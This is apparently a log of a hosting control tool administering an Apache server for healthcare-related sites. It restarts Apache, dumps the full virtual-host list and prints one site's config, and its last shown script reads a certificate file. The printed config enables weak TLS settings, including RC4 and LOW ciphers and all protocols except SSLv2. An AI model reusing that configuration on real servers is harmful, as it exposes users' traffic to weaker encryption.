	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf= 1'
fi


2026-01-18 06:01:06: 

chmod 755 /tmp/pkp491307; /tmp/pkp491307; rm /tmp/pkp491307

2026-01-18 06:01:06: 




2026-01-18 06:01:06: 

PUT: /tmp/pkp210458

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-18 06:01:06: 

chmod 755 /tmp/pkp210458; /tmp/pkp210458; rm /tmp/pkp210458

2026-01-18 06:01:06: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-18 06:01:06: Establishing a connection
2026-01-18 06:01:07: 

PUT: /tmp/pkp386581

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-18 06:01:07: 

chmod 755 /tmp/pkp386581; /tmp/pkp386581; rm /tmp/pkp386581

2026-01-18 06:01:07: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-18 06:01:07: 

PUT: /tmp/pkp555316

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_portal_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-18 06:01:07: 

chmod 755 /tmp/pkp555316; /tmp/pkp555316; rm /tmp/pkp555316

2026-01-18 06:01:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf	1664

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-18 06:01:07: 

PUT: /tmp/pkp674504

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-18 06:01:07: 

chmod 755 /tmp/pkp674504; /tmp/pkp674504; rm /tmp/pkp674504

